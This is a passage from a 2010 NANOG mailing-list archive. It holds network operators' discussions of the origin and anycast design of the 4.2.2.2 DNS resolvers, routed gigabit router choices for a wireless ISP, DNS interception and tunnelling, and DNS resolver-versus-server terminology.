for multiple nameservers is to remove single points of failures. Using three consecutive addresses doesn't remove single points of failure in the routing system. > If their goal is distribute a service for the benefit of their own = > customers, then keeping all anycast nodes associated with that service = > on-net seems entirely sensible. Which only helps if *all* customers of those servers are also on net. > Joe -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From cra at WPI.EDU Sun Feb 14 16:44:19 2010 From: cra at WPI.EDU (Chuck Anderson) Date: Sun, 14 Feb 2010 17:44:19 -0500 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <07e801caadb6$23b15dc0$6b141940$@org> References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: <20100214224419.GA24159@angus.ind.WPI.EDU> On Sun, Feb 14, 2010 at 02:41:51PM -0600, Lorell Hathcock wrote: > 1 - AP network (need suggestion for cost effective gig-e switch) > > 2 to 4 - back haul ports > > 1 - internet port (on one out of every 4 towers or so) (and most likely > fiber instead of copper) > > > > Does anyone have any suggestions? Juniper EX3200. L2/L3 line rate GigE, partial or full PoE options available. Fiber uplink options. 24T version w/8 ports of PoE. The last 4 copper ports are shared with 1 Gig uplink module ports (but they aren't shared if you use 10 GigE uplink modules). http://www.juniper.net/us/en/local/pdf/datasheets/1000216-en.pdf From scott at doc.net.au Sun Feb 14 16:46:08 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 14:46:08 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <201002142217.o1EMHCi8071152@drugs.dv.isc.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> Message-ID: On Sun, Feb 14, 2010 at 2:17 PM, Mark Andrews wrote: > I don't care what internal routing tricks are used, they are still > under the *one* external route and as such subject to single points > of failure and as such don't have enough independence. Where has Level 3 ever claimed that these servers were ever for *external* use? As a Level 3 customer who uses these servers, I'm seeing multiple *internal* routes to these servers. Of course, if 4/8 disappears from the global routing tables then Level 3 has a bit bigger problem than their DNS resolvers not being accessible from non-customers. I'd also be interested in knowing where you consider the "single points of failure" for their announcement of 4/8 is, but that's probably for another thread... Scott. From patrick at ianai.net Sun Feb 14 16:46:19 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 14 Feb 2010 17:46:19 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <201002142243.o1EMhx44071536@drugs.dv.isc.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> Message-ID: <18278957-EC27-482C-893F-B49051261D88@ianai.net> On Feb 14, 2010, at 5:43 PM, Mark Andrews wrote: > In message <10BE7B64-46FF-46D8-A428-268897413EB4 at hopcount.ca>, Joe Abley writes > : >> On 2010-02-14, at 17:17, Mark Andrews wrote: >> >>> I don't care what internal routing tricks are used, they are still >>> under the *one* external route and as such subject to single points >>> of failure and as such don't have enough independence. >> >> Are you asserting architectural control over what Level3 decide to do = >> with their own servers, Mark? :-) > > No. The reason for multiple nameservers is to remove single points > of failures. Using three consecutive addresses doesn't remove > single points of failure in the routing system. > >> If their goal is distribute a service for the benefit of their own = >> customers, then keeping all anycast nodes associated with that service = >> on-net seems entirely sensible. > > Which only helps if *all* customers of those servers are also on net. All _customers_ are. People using a service which was not announced or support are not customers. -- TTFN, patrick From scott at doc.net.au Sun Feb 14 16:49:52 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 14:49:52 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <1266187040.6462.5.camel@Andromeda> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> <1266187040.6462.5.camel@Andromeda> Message-ID: On Sun, Feb 14, 2010 at 2:37 PM, Richard Golodner wrote: > ? ? ? ?Cisco tech support tells their customers (us) to use it when testing. > Perhaps this is not such a good practice. No doubt because they are easier to remember than Cisco's own two "public" DNS resolvers : 64.102.255.44 128.107.241.185 Scott. From marka at isc.org Sun Feb 14 16:54:03 2010 From: marka at isc.org (Mark Andrews) Date: Mon, 15 Feb 2010 09:54:03 +1100 Subject: History of 4.2.2.2. What's the story? In-Reply-To: Your message of "Sun, 14 Feb 2010 14:46:08 -0800." References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> Message-ID: <201002142254.o1EMs3U8071671@drugs.dv.isc.org> In message , Scott Howard writes: > I'd also be interested in knowing where you consider the "single > points of failure" for their announcement of 4/8 is, but that's > probably for another thread... You mean you have never seen traffic following a route annuncement go into a black hole. :-) > Scott. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From bclark at spectraaccess.com Sun Feb 14 16:59:08 2010 From: bclark at spectraaccess.com (Bret Clark) Date: Sun, 14 Feb 2010 17:59:08 -0500 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <20100214224419.GA24159@angus.ind.WPI.EDU> References: <07e801caadb6$23b15dc0$6b141940$@org> <20100214224419.GA24159@angus.ind.WPI.EDU> Message-ID: <4B78803C.8020406@spectraaccess.com> Chuck Anderson wrote: On Sun, Feb 14, 2010 at 02:41:51PM -0600, Lorell Hathcock wrote: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Juniper EX3200. L2/L3 line rate GigE, partial or full PoE options available. Fiber uplink options. 24T version w/8 ports of PoE. The last 4 copper ports are shared with 1 Gig uplink module ports (but they aren't shared if you use 10 GigE uplink modules). [1]http://www.juniper.net/us/en/local/pdf/datasheets/1000216-en.pdf Well just make sure the current Mikrotik's in place don't have gig-e ports as the newer Mikrotik's do. In that case converting over to a routing environment should be as simple as some software changes in the Mikrotik's. As for fiber you'd need some media converters. We run a Mikrotik's in our network using OSPF with a bunch of Cisco's and Riverstone routers without any problems. Bret References 1. http://www.juniper.net/us/en/local/pdf/datasheets/1000216-en.pdf From jabley at hopcount.ca Sun Feb 14 17:04:46 2010 From: jabley at hopcount.ca (Joe Abley) Date: Sun, 14 Feb 2010 18:04:46 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <201002142243.o1EMhx44071536@drugs.dv.isc.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> Message-ID: <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> On 2010-02-14, at 17:43, Mark Andrews wrote: > Using three consecutive addresses doesn't remove > single points of failure in the routing system. That depends on how the routes for those destinations are chosen, and what routing system you're talking about. For distribution of a service using anycast inside a single AS, and with one route per service, it makes no difference whether the addresses are adjacent. Two /24 routes are no more stable than two /32 routes within an IGP. There's no prefix filtering convention to accommodate, here. > >> If their goal is distribute a service for the benefit of their own = >> customers, then keeping all anycast nodes associated with that >> service = >> on-net seems entirely sensible. > > Which only helps if *all* customers of those servers are also on net. Whether it helps depends on what Level3's goals are. This is not public infrastructure; this is a service operated by a commercial company. For what it's worth, I have never heard of an ISP, big or small, deciding to place resolvers used by their customers in someone else's network. Perhaps I just need to get out more. Joe From sean at donelan.com Sun Feb 14 17:38:42 2010 From: sean at donelan.com (Sean Donelan) Date: Sun, 14 Feb 2010 18:38:42 -0500 (EST) Subject: dns interceptors In-Reply-To: References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: On Sun, 14 Feb 2010, Randy Bush wrote: >> ssh tunnels to IP address > i am often on funky networks in funky places. e.g. the wireless in > changi really sucked friday night. if i ssh tunneled, it would multiply > the suckiness as tcp would have puked at the loss rate. > smb whacked me that i should use non-tcp tunnels. Their network, their rules; your network, your rules; my network, my rules. If you visit lots of funky places, its probably time to learn about tunnelling protocols. If you don't like their network rules, tunnel to a different network with rules you prefer. Ports 80/443 seem to work as the universal tunnelling ports, along with SSH, VPN, PPTP, IPnIP/IPSEC, etc. Sometimes proxy-tunnel software which encapsulates packets inside HTTP works. AOL and SKYPE seem to successfully tunnel through a lot of stuff. Of course, if you are on a network which doesn't want allow tunnels, e.g. an internal enterprise network, you may not want to do that. Per-application stuff work sometimes (DNSSEC/TSIG-forwarders, HTTPS, etc), but when allowed I immediately create a tunnel and don't spend time debugging local networks. Some people always use tunnels even when using networks such as the NANOG or IETF conference networks. From ttauber at 1-4-5.net Sun Feb 14 17:41:12 2010 From: ttauber at 1-4-5.net (Tony Tauber) Date: Sun, 14 Feb 2010 15:41:12 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> Message-ID: <20100214234112.GA10274@1-4-5.net> I'll add to what Johno writes. I worked on the anycast routing side to the server side which he describes. The 4.2.0.0/16 prefix was set aside by John Hawkinson in our reservation system under the label "Numerology" since he had the wisdom to see that the numbers in themselves could be valuable. He really wanted 4.4.4.4. Unfortunately someone had already taken 4.4.0.0/16 for some of our first DSL assignments (when it still seemed suprising that anyone would need tens of thousands of IP addresses at a shot). The first two /16s in 4/8 were already used for infrastucture. I don't necessarily recall the service being intended for non-customers (hence no care about seeing multiple paths outside the AS which originates it.) The real gains were: - More graceful failover - Shorter trips to resolvers (quicker lookups) - Ability to split load w/o re-configuring clients That's the story. Others did it before and since but jhawk really deserves the credit for squatting on super-easy to type and remember addresses. I use it to this day for a quick thing to ping when I need to test connectivity. Cheers, Tony On Sun, Feb 14, 2010 at 09:16:13AM -0500, John Orthoefer wrote: > Since I'm watching B5 again on DVD.... > > I was there at the dawning of the age of 4.2.2.1 :) > > We did it, and we I mean Brett McCoy and my self. But most of the > credit/blame goes to Brett... I helped him, but at the time I was > mostly working on getting out Mail relays working right. This was > about 12 years ago, about 1998, I left Geunitity in 2000, and am back > at BBN/Raytheon now. I remember we did most of the work after we > moved out of Cambridge and into Burlington. > > Genuity/GTEI/Planet/BBN owned 4/8. Brett went looking for an IP that > was simple to remember, I think 4.4.4.4 was in use by neteng already. > But it was picked to be easy to remember, I think jhawk had put a hold > on the 4.2.2.0/24 block, we got/grabbed 3 address 4.2.2.1, 4.2.2.2, > and 4.2.2.3 so people had 3 address to go to. At the time people > had issues with just using a single resolver. We also had issues with > both users and registers since clearly they aren't geographically > diverse, trying to explain routing tricks to people KNOW all IPs come > in and are routed as Class A/B/C blocks is hard. > > NIC.Near.Net which was our primary DNS server for years before I > transferred to planet from BBN. It wasn't even in 4/8, I think it was > 128.89 (BBN Corp space), but I'm not sure. BBN didn't start to use > 4/8 till the Planet build out, and NIC.near.net predates that by at > least 10 years. > > I still have the power cord from NIC.near.net in my basement. That > machine grew organically with every service known to mankind running > on it, and special one-off things for customers on it. It took us > literally YEARS to get that machine turned off, when we finally got it > off I took the power cord so no one would help us by turning it back > on, I gave the cord to Chris Yetman, who was the director of > operations and told him if a customer screams he has the power to turn > it back on. A year or so later, he gave the cord back to me. > > Yes we set up 4.2.2.1 as a public resolver. We figured trying to > filter it was larger headache than just making it public. > > It was always pretty robust due to the BIND code, thanks to ISC, and > the fact it was always IPV4 AnyCast. > > I don't know about now, but originally it was IPV4 AnyCast. Each > server advertised a routes for 4.2.2.1, .2, and .3 at different costs > and the routers would listen to the routes. Originally the start up > code was, basically: advertise route to 4.2.2.1, 4.2.2.2, and 4.2.2.3 > run bind in foreground mode > drop route to 4.2.2.1, 4.2.2.2, and 4.2.2.3 > > then we had a Tivoli process that tried to restart bind, but rate > limited the restarts. But that way if the bind died the routes would > drop. > > johno > > On Feb 14, 2010, at 4:16 AM, Sean Reifschneider wrote: > > > I've wondered about this for years, but only this evening did I start > > searching for details. And I really couldn't find any. > > > > Can anyone point me at distant history about how 4.2.2.2 came to be, in my > > estimation, the most famous DNS server on the planet? > > > > I know that it was originally at BBN, what I'm looking for is things like: > > > > How the IP was picked. (I'd guess it was one of the early DNS servers, > > and the people behind it realized that if there was one IP address > > that really needed to be easy to remember, it was the DNS server, > > for obvious reasons). > > Was it always meant to be a public resolver? > > How it continued to remain an open resolver, even in the face of > > amplifier attacks using DNS resolvers. Perhaps it has had > > rate-limiting on it for a long time. > > There's a lot of conjecture about it using anycast, anyone know anything > > about it's current configuration? > > > > So, if anyone has any stories about 4.2.2.2, I'd love to hear them. > > > > Thanks, > > Sean > > -- > > Microsoft treats objects like women, man... > > -- Kevin Fenzi, paraphrasing the Dude, 1998 > > Sean Reifschneider, Member of Technical Staff > > tummy.com, ltd. - Linux Consulting since 1995: Ask me about High Availability > > > > From marka at isc.org Sun Feb 14 17:54:57 2010 From: marka at isc.org (Mark Andrews) Date: Mon, 15 Feb 2010 10:54:57 +1100 Subject: dns interceptors In-Reply-To: Your message of "Sun, 14 Feb 2010 18:38:42 CDT." References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> Message-ID: <201002142354.o1ENsvul072693@drugs.dv.isc.org> In message , Sean Donel an writes: > On Sun, 14 Feb 2010, Randy Bush wrote: > >> ssh tunnels to IP address > > i am often on funky networks in funky places. e.g. the wireless in > > changi really sucked friday night. if i ssh tunneled, it would multiply > > the suckiness as tcp would have puked at the loss rate. > > smb whacked me that i should use non-tcp tunnels. > > Their network, their rules; your network, your rules; my network, my > rules. There is also "truth in advertising" laws. If they advertise "Internet" access then you should get the "Internet" not a cut down / filtered version. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From jco at direwolf.com Sun Feb 14 17:55:33 2010 From: jco at direwolf.com (John Orthoefer) Date: Sun, 14 Feb 2010 18:55:33 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> Message-ID: <822765A6-CB72-4835-A069-C151D0402259@direwolf.com> At the time I was involved it did have an SLA, and was considered critical infrastructure for Genuitity customers. Once we started to deploy 4.2.2.1, we gave customers time to swap over, but we started turning off our existing DNS servers. One reason we did it was that we kept having to deploy more servers, and getting customers to swing there hosts over to the new machines was all but impossible. With NetNews, and SMTP we used a Cisco Distributed Director. But we needed another solution for DNS. johno On Feb 14, 2010, at 5:20 PM, Patrick W. Gilmore wrote: >> > > It's an open recursive name server, it is free, has no SLA, and is not critical infrastructure. > > > From smb at cs.columbia.edu Sun Feb 14 17:59:56 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Sun, 14 Feb 2010 18:59:56 -0500 Subject: dns interceptors In-Reply-To: <201002142354.o1ENsvul072693@drugs.dv.isc.org> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <201002142354.o1ENsvul072693@drugs.dv.isc.org> Message-ID: On Feb 14, 2010, at 6:54 PM, Mark Andrews wrote: > > In message , Sean Donel > an writes: >> On Sun, 14 Feb 2010, Randy Bush wrote: >>>> ssh tunnels to IP address >>> i am often on funky networks in funky places. e.g. the wireless in >>> changi really sucked friday night. if i ssh tunneled, it would multiply >>> the suckiness as tcp would have puked at the loss rate. >>> smb whacked me that i should use non-tcp tunnels. >> >> Their network, their rules; your network, your rules; my network, my >> rules. > > There is also "truth in advertising" laws. If they advertise > "Internet" access then you should get the "Internet" not a cut down / > filtered version. Yes -- and as a reward for your expertise, you get to explain the problem with a transparent DNS proxy to the judge. For bonus points, explain it to a jury.... --Steve Bellovin, http://www.cs.columbia.edu/~smb From LarrySheldon at cox.net Sun Feb 14 18:02:48 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 18:02:48 -0600 Subject: Time out for a terminology check--"resolver" vs "server". Message-ID: <4B788F28.7030701@cox.net> I thought I understood but from recent contexts here it is clear that I do not. I thought a resolver was code in your local machine that provide hostname (FQDN?), given address; or address, given host name (with assists to build FQDN). And I thought a "server" was a separate program, might be on the same machine, might be on another machine (might be on the local net, might be distant) that the resolver code called for information that was not in local cache. Just what is the straight scoop? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From patrick at ianai.net Sun Feb 14 18:06:27 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 14 Feb 2010 19:06:27 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <822765A6-CB72-4835-A069-C151D0402259@direwolf.com> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <718A7480-94D1-4D78-B7C5-3F608D4A2B0E@ianai.net> <822765A6-CB72-4835-A069-C151D0402259@direwolf.com> Message-ID: <99A7F1BB-7FBA-4C31-8CB4-16D7CA279753@ianai.net> On Feb 14, 2010, at 6:55 PM, John Orthoefer wrote: > At the time I was involved it did have an SLA, and was considered critical infrastructure for Genuitity customers. Once we started to deploy 4.2.2.1, we gave customers time to swap over, but we started turning off our existing DNS servers. Sorry for the confusion, I should have said "for non-customers of L3". I was responding the statement that the name servers were controlled by "*one* external route". If you are a customer, IGP matters, not BGP, and SLAs obviously are a different situation. For people who are not customers, SLAs are unusual. -- TTFN, patrick > One reason we did it was that we kept having to deploy more servers, and getting customers to swing there hosts over to the new machines was all but impossible. With NetNews, and SMTP we used a Cisco Distributed Director. But we needed another solution for DNS. > > johno > > On Feb 14, 2010, at 5:20 PM, Patrick W. Gilmore wrote: > >>> >> >> It's an open recursive name server, it is free, has no SLA, and is not critical infrastructure. >> >> >> > > From sra at isc.org Sun Feb 14 18:17:45 2010 From: sra at isc.org (Rob Austein) Date: Sun, 14 Feb 2010 19:17:45 -0500 Subject: Time out for a terminology check--"resolver" vs "server". References: <4B788F28.7030701@cox.net> Message-ID: <20100215001745.5F2FB2282E@thrintun.hactrn.net> At Sun, 14 Feb 2010 18:02:48 -0600, Laurence F Sheldon, Jr wrote: > > I thought I understood but from recent contexts here it is clear that I > do not. > > I thought a resolver was code in your local machine that provide > hostname (FQDN?), given address; or address, given host name (with > assists to build FQDN). > > And I thought a "server" was a separate program, might be on the same > machine, might be on another machine (might be on the local net, might > be distant) that the resolver code called for information that was not > in local cache. > > Just what is the straight scoop? No doubt Olafur will beat me up yet again for not having written the DNS lexicon years ago, but: - A "resolver" is something that implements the "resolver" (ie, client) role in the DNS protocol. It might be a stub resolver, the client side of a recursive nameserver, a pure iterative resolver, .... The defining characteristic is that it send queries (QR=0) and receives responses (QR=1). - A "name sever" is something that implements the "nameserver" (ie, server) role in the DNS protocol. It might be an authoritative nameserver, the server side of a recursive nameserver, .... The defining characteristic is that it receives queries (QR=0) and sends responses (QR=1). Clear enough? Mapping protocol definitions onto the plethora of terms used by operators in the field is left as an exercise for the reader, no sarcasm intended. DNS is an old protocol, there are an awful lot of people who think they understand it, and each of those people has their own set of terms that they're comfortable using. The definitions above are what I rammed through the IETF during several rounds of standards writing, but I would be the first to admit that not everybody uses the terms the same way as I do. From scott at doc.net.au Sun Feb 14 18:21:46 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 16:21:46 -0800 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: <4B788F28.7030701@cox.net> References: <4B788F28.7030701@cox.net> Message-ID: A "resolver" is basically a client. There's two types of resolvers - recursive resolvers (that look after doing the full resolution themselves - starting at the root servers and working down), and "stub resolvers" which are only smart enough pass the entire request onto another server to handle. On most system, the "code in your local machine" will be a stub resolver. That's why you need to configure it to point to another server that looks after the actual recursion for you. The "DNS Server" running at your ISP that your stub resolver connects to is acting as both a server (to accept requests from your client), and as a resolver (to actually resolve those requests), and almost certainly also as a cache for results. For simplicity, many people simply refer to them as Resolvers, whilst others call them Recursive servers or Caching servers. The server actually answering the requests for your domain is an Authoritative Server. An Authorative-only server doesn't ever act as a client, so it isn't a resolver. It is possibly to run both Authoritative and Recursive server on the same IP, but it's generally not recommended for many reasons (the most simple being that of stale data if your server is no longer the correct nameserver for a domain, but it's still configured to be authoritative for that domain). Scott. On Sun, Feb 14, 2010 at 4:02 PM, Larry Sheldon wrote: > I thought I understood but from recent contexts here it is clear that I > do not. > > I thought a resolver was code in your local machine that provide > hostname (FQDN?), given address; or address, given host name (with > assists to build FQDN). > > And I thought a "server" was a separate program, might be on the same > machine, might be on another machine (might be on the local net, might > be distant) that the resolver code called for information that was not > in local cache. > > Just what is the straight scoop? > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: ?The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: ?http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > > From jdfalk-lists at cybernothing.org Sun Feb 14 14:44:31 2010 From: jdfalk-lists at cybernothing.org (J.D. Falk) Date: Sun, 14 Feb 2010 13:44:31 -0700 Subject: abuse reporting (was Re: Yahoo abuse) In-Reply-To: <6eb799ab1002111745m4e32ff79u893b884219ae685@mail.gmail.com> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> <6eb799ab1002111745m4e32ff79u893b884219ae685@mail.gmail.com> Message-ID: On Feb 11, 2010, at 6:45 PM, James Hess wrote: > That said, XML makes a terrible data interchange format for > communications where humans are supposed to understand the message, > using standard software (such as a legacy e-mail client). Exactly what we said when developing ARF. -- J.D. Falk Return Path Inc From LarrySheldon at cox.net Sun Feb 14 19:12:43 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 19:12:43 -0600 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: <20100215001013.08A4E2282E@thrintun.hactrn.net> References: <4B788F28.7030701@cox.net> <20100215001013.08A4E2282E@thrintun.hactrn.net> Message-ID: <4B789F8B.7070608@cox.net> On 2/14/2010 6:10 PM, Rob Austein wrote: > At Sun, 14 Feb 2010 18:02:48 -0600, Laurence F Sheldon, Jr wrote: >> >> I thought I understood but from recent contexts here it is clear that I >> do not. >> >> I thought a resolver was code in your local machine that provide >> hostname (FQDN?), given address; or address, given host name (with >> assists to build FQDN). >> >> And I thought a "server" was a separate program, might be on the same >> machine, might be on another machine (might be on the local net, might >> be distant) that the resolver code called for information that was not >> in local cache. >> >> Just what is the straight scoop? > > No doubt Olafur will beat me up yet again for not having written the > DNS lexicon years ago, but: > > - A "resolver" is something that implements the "resolver" (ie, > client) role in the DNS protocol. It might be a stub resolver, the > client side of a recursive nameserver, a pure iterative resolver, > .... > > The defining characteristic is that it send queries (QR=0) and > receives responses (QR=1). > > - A "name sever" is something that implements the "nameserver" (ie, > server) role in the DNS protocol. It might be an authoritative > nameserver, the server side of a recursive nameserver, .... > > The defining characteristic is that it receives queries (QR=0) and > sends responses (QR=1). > > Clear enough? Yes--tracks with what I thought, pretty much--I was missing the clientness of the resolver code to go with the serverness of the server. > Mapping protocol definitions onto the plethora of terms used by > operators in the field is left as an exercise for the reader, no > sarcasm intended. DNS is an old protocol, there are an awful lot of > people who think they understand it, I am one of those is sure he understands it--which belief crumbles when I try to explain it to somebody else. and each of those people has > their own set of terms that they're comfortable using. The > definitions above are what I rammed through the IETF during several > rounds of standards writing, but I would be the first to admit that > not everybody uses the terms the same way as I do. DNS arcana is one of the things that somebody should document on the internet-history list while there are still people around who can do so with some authority. Thanks. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Sun Feb 14 19:19:59 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 19:19:59 -0600 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: References: <4B788F28.7030701@cox.net> Message-ID: <4B78A13F.5050808@cox.net> On 2/14/2010 6:21 PM, Scott Howard wrote: > A "resolver" is basically a client. > > There's two types of resolvers - recursive resolvers (that look after > doing the full resolution themselves - starting at the root servers > and working down), and "stub resolvers" which are only smart enough > pass the entire request onto another server to handle. > > On most system, the "code in your local machine" will be a stub > resolver. That's why you need to configure it to point to another > server that looks after the actual recursion for you. That is another piece that I had glossed over--the "client" side of a server. > > The "DNS Server" running at your ISP that your stub resolver connects > to is acting as both a server (to accept requests from your client), > and as a resolver (to actually resolve those requests), and almost > certainly also as a cache for results. For simplicity, many people > simply refer to them as Resolvers, whilst others call them Recursive > servers or Caching servers. Calling any form of server a "resolver" seems new to me--or my lack of understanding is older that I like to admit. > > The server actually answering the requests for your domain is an > Authoritative Server. An Authorative-only server doesn't ever act as a > client, so it isn't a resolver. > > It is possibly to run both Authoritative and Recursive server on the > same IP, but it's generally not recommended for many reasons (the most > simple being that of stale data if your server is no longer the > correct nameserver for a domain, but it's still configured to be > authoritative for that domain). Seems like TTL management would take care of that but I think the issues of recursion are now different from the safe world I thought I lived in 20 years ago. Thanks. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From EricMo at BarrettXplore.com Sun Feb 14 19:47:50 2010 From: EricMo at BarrettXplore.com (Eric Morin) Date: Sun, 14 Feb 2010 21:47:50 -0400 Subject: Recommendations for router with routed copper gig-e ports? References: <07e801caadb6$23b15dc0$6b141940$@org> Message-ID: <840AD183D768624E9544DBE2557310420FB6F4B5@nawd103067> I have found the MRV OS906 (6 port 10/100/1000/SFP + Eth OBM) to be a very cost effective and an extremely flexible device. It's a linux based device with a router shell but all forwarding is done in hardware (ASICs). It has a very flexible implementation of many L2 features (QnQ, inner or outer tag swapping, eth OAM, ERP) but also sports standard routing switch features and protocols like BGP, OSPF, even IS-IS! The cost of the device is 1/4 of a 3560G (etc). MRV's support has been very good. We found a bug in the DHCP-Relay function where it would not broadcast back to a client that discovered/requested with the broadcast bit set. They provided a new spin of code with the fix within days! http://www.mrv.com/product/MRV-OS-OS900-SDB I hope this helps Eric RR Morin -----Original Message----- From: Lorell Hathcock [mailto:lorell at hathcock.org] Sent: Sunday, February 14, 2010 4:42 PM To: 'North American Network Operators Group' Subject: Recommendations for router with routed copper gig-e ports? All: I'm involved in a project where we are cutting over a WISP from being a single broadcast domain into the grownup real world of routing between tower nodes. Of course the equipment is all Mikrotik and the single broadcast domain was easy to implement, so that's why it was done this way. My problem on the redesign is I want to provide routed, copper gig-e ports at a reasonable price per port. My thought is to provide one copper gig-e port for all of the APs at a tower and a copper gig-e port for each backhaul to other towers (typically 2 to 4). On the core nodes, I want to have one fiber gig-e port for the internet connection. BGP would be implemented on the routers that connect to the internet. OSPF would be implemented on all of the backhaul ports. So number of routed, copper gig-e ports at each tower would be: 1 - AP network (need suggestion for cost effective gig-e switch) 2 to 4 - back haul ports 1 - internet port (on one out of every 4 towers or so) (and most likely fiber instead of copper) Does anyone have any suggestions? Sincerely, Lorell Hathcock OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | lorell at officeconnect.net Texas State Security Contractor License | ONSSI Certified Channel Partner Axis Communications Channel Partner | BICSI Corporate Member Leviton Authorized Installer -- This message has been scanned by MailScanner From scott at doc.net.au Sun Feb 14 19:48:23 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 17:48:23 -0800 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: <4B78A13F.5050808@cox.net> References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> Message-ID: On Sun, Feb 14, 2010 at 5:19 PM, Larry Sheldon wrote: >> It is possibly to run both Authoritative and Recursive server on the >> same IP, but it's generally not recommended for many reasons (the most >> simple being that of stale data if your server is no longer the >> correct nameserver for a domain, but it's still configured to be >> authoritative for that domain). > > Seems like TTL management would take care of that but I think the issues > of recursion are now different from the safe world I thought I lived in > 20 years ago. TTL's play no part in how any Authoritative server answers a request. Consider what happens if your DNS server was authoritative for example.com, and the .com nameservers pointed to you for that domain. Your customer who owns the domain then changes the delegation to another provider (and/or the domain expires, etc) but doesn't tell you. At this point, your server is still answering all requests for example.com - because that's what authoritative servers do. It won't check to make sure that the domain is still delegated to it, and doing so would make no sense in a generic sense (eg, it might be an internal only domain, or testing a new domain that hasn't yet been delegated to you, etc). If one of your clients queries the server - in the context of it being a recursive server - it will respond with your view of the world for example.com, which is incorrect. If the server was configured as 